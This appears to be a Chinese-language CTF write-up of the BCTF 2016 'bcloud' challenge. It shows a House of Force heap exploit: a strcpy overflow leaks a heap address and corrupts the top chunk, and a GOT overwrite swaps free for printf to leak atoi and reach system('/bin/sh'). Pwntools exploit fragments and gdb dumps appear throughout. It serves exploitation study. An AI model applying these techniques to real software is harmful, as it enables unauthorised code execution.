這是一道CTF題,涉及到The House of Force技術 檔案及writeup可以在 http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html 下載下傳,另外還有 http://www.freebuf.com/news/topnews/100143.html 、 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200 等相關參考資料。
首先運作一下,看一下大緻流程,
[email protected]:~/ctf# ./bcloud
Input your name:
123
Hey 123! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
qwe
Host:
asd
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
ssssssssssssssssss
Input the content:
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
然後放到IDA中靜态分析一下,為了提高可讀性,對一些變量進行了重命名。
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIiclRnblN0LclHdpZXYyd2LcBzNvwVZ2x2bzNXak9CX90TQNNkRrFlQKBTSvwFbslmZvwFMwQzLcVmepNHdu9mZvwFVywUNMZTY18CX052bm9CX9EFVOl3aU1UMVpXTmZEWjZXUYpVd1kmYr50MZV3YyI2cKJDT29GRjBjUIF2LcRHelR3LcJzLctmch1mclRXY39DOygTMzATM5AjNxgDM3EDMy8CX0Vmbu4GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
首先分析一下input_name函數的僞代碼:
int input_name()
{
char s; // [sp+1Ch] [bp-5Ch]@1
int heap_of_name; // [sp+5Ch] [bp-1Ch]@1
int v3; // [sp+6Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x50u);
puts("Input your name:");
read_user_define((int)&s, 64, 10);
heap_of_name = (int)malloc(0x40u);
dword_804B0CC = heap_of_name;
strcpy((char *)heap_of_name, &s);
print_info(heap_of_name);
return *MK_FP(__GS__, 20) ^ v3;
}
我們輸入name時,儲存到s處,也就是bp-5c處,大小為0x40,在bp-1c處儲存了一個指針,指向堆記憶體,然後通過strcpy函數将s中的資料複制到heap_of_name指向的記憶體區域。這裡就有問題了 s和heap_of_name正好相距0x40 strcpy結束的标志是遇到null。看一下此時的記憶體布局:
如果此時輸入的name正好是0x40,namestrcpy時,因為name後邊不是null,而是heap_of_name,是以會将heap_of_name一塊複制到heap_of_name指向的記憶體區域,然後調用printf的時候會将堆的位址(heap_of_name)一塊列印出來。 利用exp如下: r.send("A" * 0x3c + "ZZZZ")garbage = r.recvuntil("ZZZZ")leak = u32(r.recv(4))garbage = r.recv()log.info("Leak: " + hex(leak))
下邊就是輸入組織與主機名的函數了:
int input_Org_and_Host()
{
char Org_buffer; // [sp+1Ch] [bp-9Ch]@1
char *Ptr_heap_of_Org; // [sp+5Ch] [bp-5Ch]@1
char Host_buffer; // [sp+60h] [bp-58h]@1
char *ptr_heap_of_Host; // [sp+A4h] [bp-14h]@1
int cookie; // [sp+ACh] [bp-Ch]@1
cookie = *MK_FP(__GS__, 20);
memset(&Org_buffer, 0, 0x90u);
puts("Org:");
read_user_define((int)&Org_buffer, 64, 10);
puts("Host:");
read_user_define((int)&Host_buffer, 64, 10);
ptr_heap_of_Host = (char *)malloc(0x40u);
Ptr_heap_of_Org = (char *)malloc(0x40u);
dword_804B0C8 = (int)Ptr_heap_of_Org;
dword_804B148 = (int)ptr_heap_of_Host;
strcpy(ptr_heap_of_Host, &Host_buffer);
strcpy(Ptr_heap_of_Org, &Org_buffer);
puts("OKay! Enjoy:)");
return *MK_FP(__GS__, 20) ^ cookie;
}
記憶體布局還是差不多,如下所示:
問題跟上邊差不多 這樣我們往org中傳入64個位元組,往Host中傳入\xff\xff\xff\xff,當将org拷入*arg指向的堆時,就會将org+*org+Host一塊考入,覆寫了後邊的top chunk大小,導緻top chunk無限大。 這部分exp如下:
HOST = "B" * 0x40
wilderness = "\xff\xff\xff\xff"
r.send(HOST)
r.sendline(wilderness)
garbage = r.recv()
下一步就是将堆配置設定到.bss段之前,以使再次配置設定堆時配置設定到bss上。
[email protected]:~/ctf# readelf -S bcloud | grep bss
[25] .bss NOBITS 0804b060 002048 0000ec 00 WA 0 0 32
[email protected]:~/ctf#
可以看到bss段的起始位址是:0x0804b060
int create_note()
{
int result; // [email protected]
signed int i; // [sp+18h] [bp-10h]@1
int len_note; // [sp+1Ch] [bp-Ch]@7
for ( i = 0; i <= 9 && heap[i]; ++i )
;
if ( i == 10 )
{
result = puts("Lack of space. Upgrade your account with just $100 :)");
}
else
{
puts("Input the length of the note content:");
len_note = read_to_int();
heap[i] = (int)malloc(len_note + 4);
if ( !heap[i] )
exit(-1);
length_of_note_content[i] = len_note;
puts("Input the content:");
read_user_define(heap[i], len_note, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
}
return result;
}
利用exp如下:
size = (0xffffffff - leak - 224) + bss - 4
log.info("Size: " + hex(size))
size = (0xffffffff ^ size) + 1
r.sendline("-" + str(size))
此處bss= length_of_note_content 224指的是建立了三個堆0x48*3加上此處建立堆的堆首及對齊共8位元組 加上在bss上建立堆的堆首4位元組( 有疑問 需要調試确定)
通過IDA靜态分析可以看到length_of_note_content位于位址.bss:0804B0A0處 heap位于位址.bss:0804B120處
這樣我們下次建立note時,資料正好寫在以length_of_note_content為起始位址的堆位址處。
利用代碼如下:
atoi = 0x804b03c
free = 0x804b014
r.sendline('1')
r.sendline('172')
# Plan - step 3: Fill out the lengths[] and notes[] arrays# with pre-defined values of sizes and GOT addresses
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
r.send(payload)
記憶體應該是這樣的 : heap[1]=0x0804B120+4儲存的是堆的起始位址。
gdb-peda$ x/10x 0x804b120
0x804b120: 0x0804c0e0 0x0804b0a0 0x00000000 0x00000000
0x804b130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b140: 0x00000000 0x00000000
然後将使用者輸入 的content複制到 0x0804b0a0處。
gdb-peda$ x/100x 0x0804b0a0
0x804b0a0: 0x00000004 0x00000004 0x00000004 0x00000000
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b120: 0x0804b03c 0x0804b014 0x0804b03c 0x00000000
0x804b130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b140: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到經過複制後0x804b124處被0x0804b014替換。 0x0804b014就是[email protected]
下一步就是利用edit_note函數将free函數位址改寫為printf位址。 printf = 0x80484d0r.sendline('3')r.sendline('1')r.send(p32(printf))garbage = r.recv() 此處改寫位址 0x0804b014 這樣就将[email protected]替換為 [email protected].
是以當我們調用delete_note時:
int delete_note()
{
int result; // [email protected]
int v1; // [sp+18h] [bp-10h]@1
void *ptr_to_heap; // [sp+1Ch] [bp-Ch]@4
puts("Input the id:");
v1 = read_to_int();
if ( v1 >= 0 && v1 <= 9 )
{
ptr_to_heap = (void *)heap[v1];
if ( ptr_to_heap )
{
heap[v1] = 0;
length_of_note_content[v1] = 0;
free(ptr_to_heap);
result = puts("Delete success.");
}
else
{
result = puts("Note has been deleted.");
}
}
else
{
result = puts("Invalid ID.");
}
return result;
}
其中調用了free函數,也就調用了我們替換的printf函數。正好将ptr_to_heap列印出來,這個地方ptr_to_heap正好是我們布置的atoi函數的位址。
r.sendline('4')
r.sendline('0')
garbage = r.recvuntil("Input the id:\n")
garbage = r.recvuntil("Input the id:\n", timeout=1)
atoi = u32(r.recv(4))
log.info("Atoi: " + hex(atoi))
garbage = r.recv()
既然已經知道了函數atoi的位址,通過偏移就可以計算出system函數的位址了。
然後我們編輯id=2的note,因為id=2已經被我們布置為atoi的位址,我們發送system的位址,将atoi位址替換為為函數system位址,然後在發送/bin/sh,就獲得了一個shell。
完整shell請見附表連結。
參考資料: http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html http://www.freebuf.com/news/topnews/100143.html https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200